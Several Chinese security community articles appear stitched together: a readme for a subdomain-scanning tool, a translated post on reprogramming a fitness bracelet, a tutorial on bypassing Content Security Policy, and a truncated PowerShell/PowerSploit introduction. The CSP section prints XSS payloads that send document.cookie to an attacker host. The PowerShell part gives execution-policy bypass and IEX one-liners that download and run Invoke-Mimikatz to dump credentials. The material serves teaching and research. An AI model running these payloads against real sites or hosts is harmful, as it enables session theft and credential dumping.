_____ _ ______ _ _____ _
/ ___| | | | _ \ (_) / ___| (_) {7kbscan & www.7kb.org}
\ `--. _ _| |__ | | | |___ _ __ ___ __ _ _ _ __ \ `--. _ __ _ _ __ ___ _ __
`--. \ | | | '_ \| | | / _ \| '_ ` _ \ / _` | | '_ \ `--. \ '_ \| | '_ \ / _ \ '__|
/\__/ / |_| | |_) | |/ / (_) | | | | | | (_| | | | | /\__/ / | | | | |_) | __/ |
\____/ \__,_|_.__/|___/ \___/|_| |_| |_|\__,_|_|_| |_\____/|_| |_|_| .__/ \___|_|
| |
|_|
usage: SubDomainSniper.exe Domain DNSServer[api|brute|all][q|nq] [thread]
SubDomainSniper.exe baidu.com 114.114.114.114 all q 100
SubDomainSniper.exe baidu.com 8.8.8.8 api nq 100
options:
all API module and brutemodule
thread The Number of threads
api API Interface module
brute Dict enum module
q Use Quiet mode
nq Use Echo mode
首先在这祝大家春节快乐。
时光飞逝，转眼间我已在信息安全行业度过了近八年的时间，近年来国内安全行业形势越来越好，但交流分享却日渐转入地下，现存论坛做得很好的已属凤毛麟角，遂决定在18年春节发布这款工具，为祖国信息安全事业尽我的一份心意。
首先对编写此款工具期间对我提供帮助的各位朋友：
感谢先知论坛冰总及白帽汇提供fofa会员帐号。
感谢圈内一位不愿透露姓名的一位我的老哥设计此工具提示界面（赞）。
感谢圈内一位不愿透露姓名的大佬赠送给我的撒旦vip。
以及感谢各位提出意见及多个接口的各位我的师傅。
工具使用环境为.netformwork 4.0 使用csharp编写。
这次发布有中英文两个版本。
下面介绍一下使用方法和参数 参数皆为必填
#### 第一个为目标域名
然后是使用的dns服务器（建议使用目标使用的dns服务器 压力承受能力低或其他有安全措施的dns服务器除外 如dnspod等）
#### 第三个参数为三种搜集模式
`包括自动判断泛解析IP地址 自动识别Cdn服务 自动检测域传送漏洞自动检测web服务如能访问则保存快照（强制utf8编码） 收集mx及ns使用记录功能`
#### 第四个参数为是否为安静模式
安静模式则只显示进度 非安静模式则随时输出结果
#### 第五个参数为线程数
（如带宽或上层路由不稳 建议少点 我普通vps 跑过1000 很稳）
返回结果格式为
"Domain","IpAddress","CdnService","WebService","WebStatusCode","Type","From"
域名 ip地址 cdn服务 web容器 http是否正常访问 解析类型 获取来源
存储位置为工具同目录下
一级目录为目标域名
二级目录为开始时间
三级目录为 存储列表以及网页快照
### 一、 api模式
#### 1、 包含12个api接口（包括两个收费接口 key需要自己填写 格式见下图切勿填错 如不填写则自动跳过收费接口）
Links
Crtsh
Sitedossier
Netcraft
Threatcrowd
Virustotal
Fofa
Shodan
360Webscan
Threatminer
AlexaChinaz
HackerTarget
#### 2、 8个搜索引擎采集（包括谷歌 如不能访问则等待三十秒跳过）
Baidu（中国）
360（中国）
神马（中国）
Bing（美国）
Yahoo（美国）
Google（美国）
Naver（韩国）
Goone（日本）
### 二、 Brute（爆破模式）
根目录自带字典为
dic.txt （默认字典）
dic dnspod top2000.txt （dnspod字典）
dic 百万大字典.txt（近180万字典 整合了市面上多款子域名工具字典去重大带宽推荐使用 普通vps三四小时跑完）
### 三、All模式
包含以上两种功能
效果图： | 社区文章 |
# Hacking 智能手环
##### 译文声明
本文是翻译文章，文章来源：https://rbaron.net/
原文地址：<https://rbaron.net/blog/2018/05/27/Hacking-a-cheap-fitness-tracker-bracelet.html>
译文仅供参考，具体内容表达以及含义原文为准。
进入现在这个公司第一天上班的那天，有一大堆东西让我痴狂不已。在这堆东西中其中就包含一个可以自己定制的健康监测手环。从技术角度上来看，能随时随地监测健康状态真是太酷了。
* 很小的尺寸（大约 15mm x 40mm）
* 低功耗蓝牙（BLE）
* OLED 显示屏（96 x 32 像素）
* 可充电电池
* 支持USB 充电
* 加速度传感器
* 振动马达
* 价格在10 美元左右
在手环外面，除了背部印有“ FCC ID: 2AHFTID115 ”，就没了其他标识。搜索了一下，发现这个设备的名字是
[ID115](https://fccid.io/2AHFTID115)，另外还有些[内部构造的图片](https://fccid.io/2AHFTID115/Internal-Photos/Internal-Photos-3215735)。仔细观察可以看到那块最大的芯片上写着 “ N51822 ” ，这表明微控制器单元 (MCU)
很可能是 Nordic 的 nRF51822，一块支持低功耗蓝牙的 32 位 ARM Mo CPU。从理论上来讲，这可以编程实现手环现有功能以外的其他事情。
手环拆开前后
在拆卸它之前，我上谷歌搜索到了使用相同芯片类似的手环，不少人成功的拆开了手环。
拆开它其实并不容易，黑色的塑料盖子粘在了灰色的塑料后盖上。我用电吹风加热让胶水软化，然后用小刀小心翼翼的切开胶水，确保手环不会受到太大的伤害。拆开之后，我确认它确实使用的是
nRF51822。后来，我买了一个看似相似的手环，但是这个手环使用的是德州仪器的 MCU ,这个差异需要的特别注意。
nRF51822与圆珠笔大小对比
## 想办法和它说话
从[手册](https://www.nordicsemi.com/eng/nordic/download_resource/62726/14/3637606/13358)上了得知，芯片上的串口调试[
Serial Wire Debug(SWD) ](https://developer.arm.com/products/system-ip/coresight-debug-and-trace/coresight-architecture/serial-wire-debug)
的两个引脚可用于编程/调试。这意味着两件事，如果我们想和它对话：
* 我们需要一个 “SWD programmer” (例如 [segger的 J-Link 仿真器](https://www.segger.com/products/debug-probes/j-link/))
* 我们需要访问 SDW 的两个引脚，即 SDWIO(数据) 和 SWDCLK(时钟)
幸运的是，板子上有不少裸露的垫片。他们的存在意味着需要进一步的调试/测试/验证。我想一定是有一个很酷的工程师预留着这些垫片，对于像我这样的人来说这简直就是给我们准备的礼物。不是所有的垫片都有标注，我根据我的猜测做了标注。
PCB 板子的正反面
使用一个廉价的 USB 显微镜，我拍了一些板子正反的照片，试着追踪从 MCU 到垫片的痕迹。
在板子的正反面追踪 SWDIO 和 SWDCLK
注意这是一个多层的PCB，在它的上面有通孔。所以我们需要追踪板子的正反两面。使用这些图片，我们可以追踪到SWDIO 和 SWDCLK 从芯片连接到了 IO
和 CLK 垫片。这也证实了板子上标注的 “CLK”的引脚实际上是SWDCLK。在它的右边的引脚是SWDIO。我们可以得到第一个映射表。
nRF51822 引脚 | 板子 | 描述
---|---|---
SWDIO | IO | 数据引脚
SWDCLK | CLK | 时钟引脚
##
## Open-chip 手术
为了能够访问 SWD 的两个引脚，我在板子上给各个接触垫焊接了很细的线。
##
## 闪烁
下一个目标是尝试编程实现一些其他事情。为了运行最简单的程序，我们需要确保：
* 我们正确地跟踪了SWDIO/SWDCLK引脚
* SWD 编程器正常运行，能和计算机交互
* 使用 [Nordic’s sdk](https://www.nordicsemi.com/eng/Products/Bluetooth-low-energy/nRF5-SDK) 交叉编译Arm 程序
* 能够把编译好的程序放到芯片中
* 芯片正确的驱动和引导我们的程序
本案例中 “hello,world” 程序是实现 LDE 发光二极管不间断的闪烁。即使这样其实也不简单，首先板子上没有 LED
发光二极管。如果我们自己额外添加一个，那就必须搞清楚该接在什么地方。这增加了问题的另外一个自由度。天下没有免费的午餐，我只在 `P1` 和 `P2`
上连接了两个 LED，希望能够在 MCU 上找到对应的引脚。
凌乱的连线
为了能够使用 J-Link 仿真器，需要从
[segger](https://www.segger.com/downloads/jlink/#J-LinkSoftwareAndDocumentationPack)
网站上下载驱动和命令行程序。如果你使用的是 MacOS，那么你就可以 homebrew 进行安装。`caskroom/drivers/segger-jlink` 提供了支持。安装好之后你就能使用命令行程序 `JLinkExe` 与 SWD 仿真器进行通信了。
随后，我下载并解压了 [Nordic‘s nRF5
SDK](https://www.nordicsemi.com/eng/Products/Bluetooth-low-energy/nRF5-SDK)（我使用的是[version
12.3.0](http://developer.nordicsemi.com/nRF5_SDK/)）。在 SDK
中挖掘示例，很明显我们需要一个知道如何输出 Arm 程序的编译器，于是我安装了`gcc-arm-embeded`（同样可通过 homebrew 安装）。
在 Nordic 的开发者论坛上浏览SDK
有关的帖子，发现通常使用的开发板是[这个](http://www.nordicsemi.com/eng/Products/nRF51-DK)。SDK
预先配置了一些开发包的变量，要实现直接和 MCU 对话，我们需要修改 SDK 中的一些设置。
您的浏览器不支持video标签
跑马灯
我花了很多时间去了解 nRF5 系统如何让程序跑起来的，最终搞懂了来龙去脉。在上面的的视频中可以看到两个闪烁的 LED。于是，我创建了一个 [github
仓库](https://github.com/rbaron/fitless) ，另外还写了 `Makefiles`。其中一个最大的技巧是找到
nRF51822 的一些变量，例如我的 RAM 只有
16KB。考虑到这些因素，我们需要对[链接器脚本](https://github.com/rbaron/fitless/blob/master/blinky/id115/blank/armgcc/blinky_gcc_nrf51.ld)做些调整。
##
## 数字 IO
正如我所提到的，让 LED 闪烁还包含着希望和猜测 MCU 的哪个引脚与`P1` 和 `P2` 相连，`P1` 和 `P2` 连接着
LEDs。最简单的方法是让数字 IO 引脚不断重复升高和降低输出。让我惊讶的是，两个 LED 都被点亮了。更让我吃惊的是振动马达也能开启和关闭。
手动进行查找，我确定了以下的映射关系。
nRF51822 引脚 | 板子 | 描述
---|---|---
P0.30 | P1 | 通用数字 IO
P0.00 | P2 | 通用数字 IO
P0.01 | – | 振动马达
##
## printf
在调试时，与计算机进行对话的能力是非常宝贵的。J-Link 仿真器支持 [Real-Time Transfer
(RTT)](https://www.segger.com/products/debug-probes/j-link/technology/about-real-time-transfer/)。RTT 芯片与计算机之间发送和接收数据。通过包含头文件`#include
"SEGGER_RTT.h"`，并调用函数 `SEGGER_RTT_WriteString()` 来使用它。在电脑上读取它需要用到 J-Link
包中的命令行程序 `jlinkrttlogger`。
##
## OLED
另一个极具挑战性的任务是点亮 OLED 显示屏。市场上常见的 OLED 显示屏使用 [ssd1306](https://cdn-shop.adafruit.com/datasheets/SSD1306.pdf) 驱动/控制器，与 MCU 之前串行通信，如 SPI、I2C。
我发现在一般的商店很难购买到 96×32 像素的显示屏，看起来这种分辨率并不是常规型号。上谷歌搜索了屏幕上的
“QT1316P01A”,最佳匹配的是一个中国网站。我在全球速卖通找到了最为接近的，但是除了有引脚名称外没有任何其他文档。
引脚 | 标志
---|---
1 | C2P
2 | C2N
3 | C1P
4 | C1N
5 | VBAT
6 | NC
7 | VSS
8 | VDD
9 | RES#
10 | SCL
11 | SDA
12 | IREF
13 | VCOMH
14 | VCC
来自阿里全球速递通的 OLED 脚针定义
如果上面的表格标注的准确的话，从 SCL、SDA、RES# 引脚可以看出它支持 I2C总线。如果我们可以找到 nRF51822 引脚与 OLED
引脚之间的三根合理的连线，那这将是一个好的开端。再来用显微镜看看。
追踪 OLED 数据引脚
初步建立的一个新的对应表。
nRF51822 引脚 | 板子 | 描述
---|---|---
P0.21 | – | OLED SDA 引脚
P0.22 | – | OLED SCL 引脚
P0.24 | – | OLED RES# 引脚
I2C 协议涉及到的东西实质上远比
[UART](https://en.wikipedia.org/wiki/Universal_asynchronous_receiver-transmitter) 这样简单的协议更多。其中最大的一个优点是在同一条总线支持多个主设备和从设备。这又增加了一点复杂性。往小了说是，我们需要知道 MCU
该和那个从设备通信；往大了说是，除了物理引脚，还要知道用于 OLED 显示屏的物理引脚的 ”逻辑“ 地址。
幸运的是，nRF5 SDK 中有个 I2C
扫描器的示例。简而言之，它尝试和每个可能的逻辑地址通信，当另一端有响应时返回报告。我修改过的一个版本在这里，运行并查看输出：
$ make
# ...
$ make flash
# ...
$ make log
# ...
TWI scaner
TWI device detected 0x3c
真是一个好消息，我们有理由相信显示屏被真确识别了，它也的确使用 I2C 总线。上谷歌搜索发现，`0x3c` 是这类设备的通用地址。
现在，我们可以尝试发送一些像素到显示屏上。在这个级别没有抽象的库可用。在 [ssd1306](https://cdn-shop.adafruit.com/datasheets/SSD1306.pdf)
的文档中,我们找到了一些低层级的方法来发送数据到显示屏。该过程由一些列配置命令组成。其中包括设置屏幕方向、写入模式、大小。之后，把在屏幕上显示的数据字节序列发送到显示器的图形显示数据
RAM(GDDRAM)中。
为了得到正确的配置，我看了一下[Adafruit’s ssd1306
library](https://github.com/adafruit/Adafruit_SSD1306),并尝试枚举出相似的命令。我在这个项目中花在这里的时间最多。把所有细节都搞清除是非常耗时的。直到现在仍然还有些行为我无法解析，然而显示器已经可以正常显示数据了。
绘制了一个硬编码的位图
这是[示例程序](https://github.com/rbaron/fitless/tree/master/oled_test)。
通过这些设置，显示屏被划分为包含 96 行的 4 行（页）。所以每一页的高度为 8
像素。发送的第一个字节的数据会被垂直的放在第一列上；第二个字节的数据会占据第二行的未知；第三行类似，直到第 96
行。当第一页写完，会到第二页继续类似的过程。
或者说，这是预期的结果。下面视频中观察的结果却不相同: 首先是一些奇数列被填充，然后是偶数列，最后才是类似的循环过程。
您的浏览器不支持video标签
调试慢放版的位图显示
我花了很长的时间去弄明白为什么我在屏幕上看得到无意义的内容，然后又花了些时间调整配置来修复它。最后我放下了自尊，把这个奇怪的渲染逻辑在程序中实现，今天就到此为止吧！
##
## Arduino 之旅
在我挖掘 Adafruit’s ssd1306 库时，我希望有一种方法可以在 nRF51822 中 “模拟”
Arduino特定的比特。事实上已经有经验丰富的大神做了相似的[项目](https://github.com/sandeepmistry/arduino-nRF5)，此项目还不止于此，他使用 nRF5 SDK 实现了 Arduino 核心库。
使用这个项目，我们可以打开 Arduino IDE 选择 nRF5 板，我们可以使用 Arduino 现有的生态开发程序。我 fork
了这个[项目](https://github.com/rbaron/arduino-nRF5),并添加了对我们的这个手环板子的支持。可以在下拉菜单中选择使用
`Tools > Board > ID115 Fitness Bracelet(nRF51822)`。
通过Arduino IDE 上传的没有任何补丁的 Adafruit ssd1306 库
这也意味着我们可以使用 [Adafruit 的 OLED
库](https://github.com/adafruit/Adafruit_SSD1306)。让我惊讶和欣慰的是，OLED 也出现了 “先奇数，后偶素”
的渲染顺序。我很高兴 [forked](https://github.com/rbaron/Adafruit_SSD1306)
这个库。现在我们得到了各种抽象的方法，而不是之前使用的低级方法，例如绘制文本。
传统的 “Hello,World!”
##
## 模拟 IO
除了数字 IO,”开、关”。nRF51822 有 10 个用于读取模拟输入的引脚。这是很有用的，例如读取当前的电量。从文档中得知，当输入为
`0V`，我们会读取到 `0`;当输入为 `VCC` 时，我们会读取到 `1023`;当输入电压介于在它之间时也对应着相应的数值。
我定期的输出模拟信号的值，并绘制出了完整的信号结果。
震动板和充电对模拟输入的影响
我认为 `P0.05` 引脚和充电状态有关。在充电是他的数值会升高，不充电的时候会下降。我怀疑 `P0.26`
引脚连接着加速度传感器输出，当我摇动手环时它的数值会飙升。`P0.03` 和 `P0.04`
可能也连着着加速度传感器输出，但是这种行为可能对应着芯片输入的二阶效应。例如，注意在第一张图中当加速度传感器需要更多的能量时，电池电量（pin5）也会抖动。下面是一个二阶效应的例子。
代码可以在[sketch](https://github.com/rbaron/fitless/tree/master/analog_input/AnalogInput)上找到。原始数据和绘制脚本在[这里](https://github.com/rbaron/fitless/tree/master/analog_input/AnalogInput)。现在我们又可以在我们的映射表中添上几行了。
nRF51822 引脚 | 板子 | 描述
---|---|---
P0.05 | – | 模拟输入-与电池充电相关
P0.26 | – | 模拟输入-加速度传感器
P0.03 | – | 模拟输入-加速度传感器(可能)
P0.04 | – | 模拟输入-加速度传感器(可能)
##
## 按钮
在最初的固件中，触控手环屏幕的指定位置可以点亮屏幕。如果我记得没错，按住它可以用来计时。这并不是一个实体点击按钮，而是某种运行效果不错的电容传感器。使用相同的方法找到数字输出，我找到了它与
MCU 连接方式。
您的浏览器不支持video标签
按钮
代码可以在[这里](https://github.com/rbaron/fitless/tree/master/button/Button)找到。
nRF51822 引脚 | 板子 | 描述
---|---|---
P0.10 | – | 数字输入-内置按钮
##
## 低功耗蓝牙(BLE)
nRF5 的蓝牙功是使用一个称为
[SoftDevice](http://infocenter.nordicsemi.com/index.jsp?topic=%2Fcom.nordic.infocenter.softdevices51%2Fdita%2Fnrf51%2Fsoftdevices.html)
实现的。它是包含在 BLE 的堆栈中的预编译二进制文件。它应该独立于应用程序运行。SoftDevice 有相当多的版本，找到正确的版本依赖于 SDK
的版本和芯片的版本。
[文档](http://infocenter.nordicsemi.com/index.jsp?topic=%2Fcom.nordic.infocenter.sdk5.v12.3.0%2Findex.html)(不幸的是没有直达链接)兼容表中可以查询到指定芯片版本对应那个
SDK 版本和 SoftDevice 版本。对于我而言，芯片上标有 “QFAAHO” ，它有 256 KB 闪存，16KB RAW,与 SoftDevice
s130 兼容。
我使用的 12.3 版本的 SDK 里面有一些使用 Software s130 的示例程序。与我们到目前为止刷入的程序相比，这些程序直接被刷入到地址
`0x0`。现在我们需要将 SoftDevice 刷入到地址 `0x0`, 实际的地址是 `0x1b000`。启动并初始化后，为了说明这一点，我做了一个类似
binky
的例子。但[这里](https://github.com/rbaron/fitless/tree/master/blinky/id115/s130/armgcc)从
SoftDevice 开始,观察到的行为是一致的，除了我们需要确保 SoftDevice 在之前就被刷写过。
$ make
# ...
$ make flash-softdevice
# ...
$ make flash
# ...
$ make log
# ...
Hello,world!
可以说，在蓝牙应用中最简单的 “Hello World”
程序是把设备变为[信标](https://en.wikipedia.org/wiki/Bluetooth_low_energy_beacon)。信标只广播自己，监听者的责任是探测到在其范围中信标并做出反应。这个
SDK 在相同的 `ble_app_beacon` 下提供了这样一个示例。它会假定 SoftDevice `s130` 在之前已近烧写了。
在这里，我们直接与芯片通信，而不是通过 SDK，这让事情变得更加困难。此外，还不得不调整 RAM 的大小（正如我从 blinky
示例中学到的那样），另外一个难以追踪的问题。事实证明，BLE 堆栈使用一个晶振来执行时间敏感的任务。SDK 示例假定有一个外部晶振。曾经我使用了上千个
`printf`
来搞清楚这些，需要将配置标志更改为使用合成时钟生成器来解决这个问题。[信标源码](https://github.com/rbaron/fitless/tree/master/ble_app_beacon)在这里可以找到。
##
## BLE + Arduino
一旦使用 nRF5 SDK 的 BLE 示例程序运行正常，并且了解了 RAM 和晶振陷阱。 我一次又一次的看了 Arduino
的运行环境。[sandeepmistry/arduino-BLEPeripheral](https://github.com/sandeepmistry/arduino-BLEPeripheral)是做
Aruino-nRF5 项目的那个人的另一个很棒的项目。它提供了在设置 BLE 外围设备的内部细节的一个不错的抽象。
您的浏览器不支持video标签
使用 BLE 点亮蓝色的 LED(使用这个 APP)
让我惊讶不已的是，我并没有 fork 这个库。Arduino-nRF5 项目的作者花了些时间让所有的板子都是可配置的，于是需要在下拉菜单 `Tools >
Low Frenquency Clock > Synthesized` 中选择合适的 SoftDevice
和晶振源。真是了不起，你可以在上面的视频中看到，我写了一个开关 LED 的
[快速上手的例子](https://github.com/rbaron/fitless/tree/master/ble_led)。
##
## 下一步
此时，在数周的时间里，我盯着这块板看了好几个小时之后，我非常期待能把它重新放回抽屉的后面，并把它放在那里一段时间。
注: 原作者已授权
| 社区文章 |
先知技术社区独家发表本文，如需要转载，请先联系先知技术社区授权；未经授权请勿转载。
先知技术社区投稿邮箱：[email protected]；
初探 CSP Bypass
[+] Author: math1as[+] Team: L team
# 1 引言
无论是反射型/存储型
XSS,都因为其payload富于变化而难以被彻底根除。而目前通过对输入输出的检测,浏览器自身的filter对反射型xss有了一定的检测能力但是对于存储型XSS仍然缺乏一个有效通用解决方案。内容安全策略(csp)将在未来的XSS防御中,扮演着日渐重要的角色。但是由于浏览器的支持,XSS的环境复杂多变等问题,仍然会存在很多Bypass的方法。
# 1.1 浏览器对csp的支持情况
firefox对csp的支持一直都走在前列,目前它能够较好的实现csp规范。而chrome则稍有迟缓,对于一些最新的特性没有跟上。曾经就因为chrome对csp的支持不完善,产生了一些问题,比如直到chrome45都是默认禁止inline脚本的执行的,即使增加'unsafe-inline'模式也没有任何作用,由于目前的大部分站点都或多或少的会有一些inline-javascript脚本的存在,给程序员带来了很多麻烦,如下是官方文档的原文:Up until Chrome 45, there was no
mechanism for relaxing the restriction against executing inline JavaScript. In
particular, setting a script policy that includes 'unsafe-inline' will have no
effect.当然在现在的版本中,chrome已经基本上可以说是在逐步完善csp的支持。'unsafe-inline'模式可以在chrome中正常使用了
# 1.2 测试环境
在本文所叙述的各类bypass方法的测试环境中,用到的浏览器版本如下:chrome 54.0 / firefox
50.0服务器环境版本如下:apache/nginx+php5.6
# 2 Unsafe-inline下的bypass
由于开发者在开发的过程中,为了提高效率和方便测试,会经常直接使用inline脚本因此在这个环境下,笔者设置的csp策略如下default-src
'self';script-src 'self' 'unsafe-inline'
除了script开启unsafe-inline模式外,其余资源仅允许加载同域
# 2.1 link标签的rel属性带来的bypass
2.1.1 firefox浏览器
由于<link>标签最新的rel属性dns-prefetch尚未被加入csp实现中
使用如下payload,即可发出一条dns解析请求,在ns服务器查看可得到内容
<link rel="dns-prefetch" href="[cookie].xss.com">dns-prefe
tchdns-pfetchdns-predns-prefetchfetch
2.1.2 chrome浏览器
chrome浏览器的csp策略对<link>标签rel属性则更为宽松,使用prefetch即可
直接用get方式把cookie传递到攻击者的服务器上
<link rel="prefetch"
href="[http://www.xss.com/x.php?c=[cookie]">](http://www.xss.com/x.php?c=\[cookie\]">);
只需要用js动态创建元素的方法,就可在href中插入cookiedn
s-pre
2.2 通用的bypass方法
上述的1,2两个方法在 n0tr00t security team的《Bypass unsafe-inline mode CSP》一文
已经给予了详细的介绍,但是1,2更多的是从csp对标签新属性的不完善入手的。
其实在script脚本允许unsafe-inline的情况下,会有更多的通用,而且无法被过滤的绕过方式,比如:
<script>
window.location="[http://www.xss.com/x.php?c=[cookie]"](http://www.xss.com/x.php?c=\[cookie\]");;
</script>
很明显的,csp没有对location.href做任何的限制,也就是这个窗体自身的url跳转是不受影响的
原因其实也很简单,大部分的网站跳转都还是要依赖前端进行的,所以无法对location.href做出限制
因此还可以衍生出非常多的绕过方式
比如动态创建元素,再引发页面跳转
var a=document.createElement("a");
a.href='<http://www.xss.com/?c='+escape(document.cookie>);
a.click();
或者是使用<meta>标签进行跳转
<meta http-equiv="refresh"
content="5;url=[http://www.xss.com/x.php?c=[cookie]"](http://www.xss.com/x.php?c=\[cookie\]");
>
以上的方式都无需交互,唯一的缺点是可能被发现,因此可以采取在目标页面再跳转回来的方法
而这种方法的长度限制则属于XSS bypass,不在本文的讨论之内。
此外,由于大部分网站需要用到图片外链,因此其img-src往往设置为img-src *
var i=document.createElement("img");
i.src='<http://www.xss.com/?c='+escape(document.cookie>);
xxx.appendChild(i);
这样就轻而易举的把cookie传输出去了。
# 3 严格规则script-src 'self'下的bypass
由于'unsafe-inline'模式其实是一个风险比较大的csp模式,因为任何inline脚本的注入都会产生一个xss
然后用2.1.3中各种方式都会产生绕过,因此在合理的开发中往往都要禁止'unsafe-inline' mode
因此,在实际的业务逻辑中,我们还要面对更为严苛的csp策略,但是它仍然可以通过结合其他网站功能而被加以绕过。
在本节中,笔者的csp策略做如下限制
关闭了unsafe-inline模式
# 3.0 鸡肋的<link rel="import" />
这里之所以提一下这种常见xss的方法,是因为自己踩过的坑w3c的文档中说明了rel属性import的性质
<https://www.w3.org/TR/html-imports/它被视为"links> to external
resources",也就是当前文档以外的资源
由于在测试时我们也往往通过它来引入一个html来产生xss,那么实际上它在这里的应用呢?经过测试,在import时它就会受到script-src的影响,但这还不是关键。
当我们把href换成同域下的文档时,它就能够执行了么?
被加载后的文档并不会直接执行,它会被加载到当前的html中,并且当作内联脚本来执行
也就是如果不开启'unsafe-inline'
它仍然是无法执行的而且,相比起通过iframe标签加载的文档不会受到父窗体csp的影响,它完全受限于请求发起页的csp
因此在csp测试中,在xss的绕过阶段就应该避免使用这个payload,费力不讨好。
# 3.1 重定向(302)带来的bypass
使我关注这个点的是hctf 2016中一道sguestbook的题目,里面就对允许执行的脚本进行了更大的限制
不仅仅要求同域,还要求只能在/static/目录下才允许执行。很多时候一个网站都会带有一个302跳转功能的页面,用它来导向到本站的资源或者是外部的链接
我们首先看一下w3c文档里关于重定向的说明<https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects>
很明显的,如果我们的script-src设置为某个目录,通过这个目录下的302跳转,是可以绕过csp读取到另一个目录下的脚本的。
在我的例子是这样设置的Content-Security-Policy: default-src 'self';script-src
<http://127.0.0.1/a/> ;
csp限制了/a/目录,而我们的目标脚本在/b/目录下则如果这时候请求redirect页面去访问/b/下的脚本
是可以通过csp的检查的,比如<script
src="[http://127.0.0.1/a/redirect.php?url=/b/2"](http://127.0.0.1/a/redirect.php?url=/b/2");
></script>
但是就如官网中描述的,加载的资源所在的域必须和自身处于同域下(example.com)也就是不可能通过302跳转去加载一个其他域下的脚本的。
比如通过a.com的302跳转去加载b.com下的脚本所以这种方法仍然有一定的局限性,但是对于那些限制死了只能加载某个目录下的js的情况
仍然有比较好的绕过效果
# 3.2 文件上传功能带来的bypass
网站往往会带有文件上传(比如)头像上传功能,文档上传功能
如果上传的文件处于csp所允许的域下,那么就会带来bypass的问题3.2.1 利用文件mimeType Bypass
众所周知,决定我们浏览器对一个文件做解析/下载 处理的,并不是文件的后缀名
而是服务器返回的mimeType,如果没有返回content-type,那么会默认以html解析其实这算是一种伪绕过了,因为如果上传了文件,而直接访问这些文件就能够解析html的话
那根本就不用考虑csp的问题。这种情况要求上传的文件要处于和主站同一个域下,这样才能读取到cookies
我首先测试apache和nginx对于上传一个未在mimes.type文件中定义的后缀名的文件访问他们,查看返回的content-type
比如,笔者上传一个.xx文件,加以访问在server为apache时
没有返回content-type,而这时,我们的文件是会被直接当作html解析的
而当服务器为nginx时
返回了octet-stream,这会导致浏览器直接下载这个文件,而不是解析
因此,如果存在一个基于黑名单过滤的上传点,而服务器为apache,就可以利用这一点产生xss绕过csp
当然,这一点还可以继续做延伸,nginx就一定无法利用么?
我们尝试上传一个.svg文件,这样的矢量图现在也已经被广泛的应用
内容如下
<svg
xmlns="[http://www.w3.org/2000/svg"](http://www.w3.org/2000/svg");
onload="alert(URL)"/>
而server为nginx时,访问返回的结果如下
那么访问这个.svg文件,我们发现内联的javascript语句得到了执行
因此,如果网站允许上传.svg文件,在nginx等情况下也是可以执行内联js的
3.2.2 加载flash文件实现xss
如果说前一种方法让你感觉基于黑名单的文件上传基本很稀少,而且大部分情况下只允许上传.jpg等图片后缀名的文件,因此利用条件很苛刻的话
那么下一种基于flash-xss的方法则更具有普遍性。
如果我们能够上传一个.jpg文件,在其中插入js代码,那么firefox下就可以成功引用
但是在chrome中是无法直接引用的,原因如下
但是一般情况下<script>标签是不能直接使用的
因此,我们需要找到另一种不基于mimeType,或者说可以自己定义mimeType的方法来加载它
然后笔者发现了<embed>这个html5标签,它具有type属性,搜寻了mimeType大全后
发现基本无法通过这个列表里的来利用
<http://www.iana.org/assignments/media-types/media-types.xhtml>
但是我们想起了flash文件的mimeType
application/x-shockwave-flash
这时,可以用embed标签来把这个.jpg文件当作flash加载
当然,我们的.jpg文件其实是一个被编译过的actionscript3脚本
通过如下payload来使用它
<embed
src="[http://127.0.0.1/upload/1.jpg"](http://127.0.0.1/upload/1.jpg");
type="application/x-shockwave-flash"></embed>
需要注意的是,这种方式在高版本只有firefox才接受因为firefox是无视服务器返回的mime/type,而以标签内部指定的type来加载的
# 3.3 crlf带来的bypass
这也属于一种伪绕过的情况,根本的原理是,比如存在一个302跳转的页面,接受用户传递的url参数比如发送的头部为location:
url而$url=$_GET['url']那么我们通过在url中注入%0d%0a%0d%0a,即两个\cr \lf 字符就可以把在下面定义的Content-Security-Policy头部'挤'到http body里而我们也就可以在http
body里直接写入我们的javascript代码了这样执行的javascript完全不会受到csp的影响由于在php高版本中已不允许发送多行header
因此这个利用方法的局限性更大,只适用于其他语言的web环境下进行利用
# 4 结语
通过本文对csp bypass的简单的探讨,我们发现csp在目前anti-xss的场景中仍然不是那么令人满意的特别是unsafe-inline模式目前存在大量的绕过方法。因此，开发者也需要加强自己的规范意识,尽量避免inline脚本的使用。同时csp仍然需要进一步的完善,在面对复杂业务场景的xss问题时,结合其他的手段来保证用户的安全。
# 5 参考
[1] <https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects>
[2] <https://www.w3.org/TR/html-imports/>
[3] <http://lorexxar.cn/2016/10/31/csp-then2/>
[4] <http://paper.seebug.org/91/>
[5] <http://www.iana.org/assignments/media-types/media-types.xhtml> | 社区文章 |
PowerShell 是运行在 Windows上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符 cmd.exe
的扩充，或是颠覆。Powershell 需要.NET环境的支持，同时支持.NET对象。其可读性，易用性，可以位居当前所有 shell 之首。 当前
PowerShell 有四版本，分别为 1.0，2.0，3.0 ,4.0**
[
[
[
> ## PowerShell 脚本
* 本地权限绕过执行 `PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1`
* 本地隐藏权限绕过执行脚本 `PowerShell.exe -ExecutionPolicy Bypass -NoLogo` -NonInteractive-NoProfile -WindowStyle Hidden`（隐藏窗口）` -File xxx.ps1`
* 直接用IEX下载远程的PS1脚本回来权限绕过执行 `powershell "IEX (New-Object Net.WebClient).DownloadString('[is.gd/oeoFuI');](http://is.gd/oeoFuI'\);) Invoke-Mimikatz -DumpCreds"`
* 远程代码执行 `IEX (New-Object Net.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”)`
> # Powersploit
一款基于powershell的后渗透（Post-Exploitation）框架，集成大量渗透相关模块和功能。
[<https://github.com/mattifestation/PowerSploit][1>]
## Linux下简易安装和搭建Powersploit(用于测试，请勿使用非法用途)
Linux git clone powerspolit
[
开启Apache服务
[
搭建简易可下载powersploit脚本的服务器
[
> ## Powersploit 模块简介
CodeExecution 在目标主机执行代码
* ScriptModification 在目标主机上创建或修改脚本
* Persistence 后门脚本（持久性控制）
* AntivirusBypass 发现杀软查杀特征
* Exfiltration 目标主机上的信息搜集工具
* Mayhem 蓝屏等破坏性脚本
* Recon 以目标主机为跳板进行内网信息侦查
> ## Powersploit 模块运用
Invoke-Shellcode 此模块结合MSF使用可以达到意想不到的效果，下面会介绍用法;先在目标主机安装“Invoke-Shellcode”脚本，使用Get-Help + 脚本名可以查看使用方法，下载命令格式：
`IEX (New-Object Net.WebClient).DownloadString("http://IP
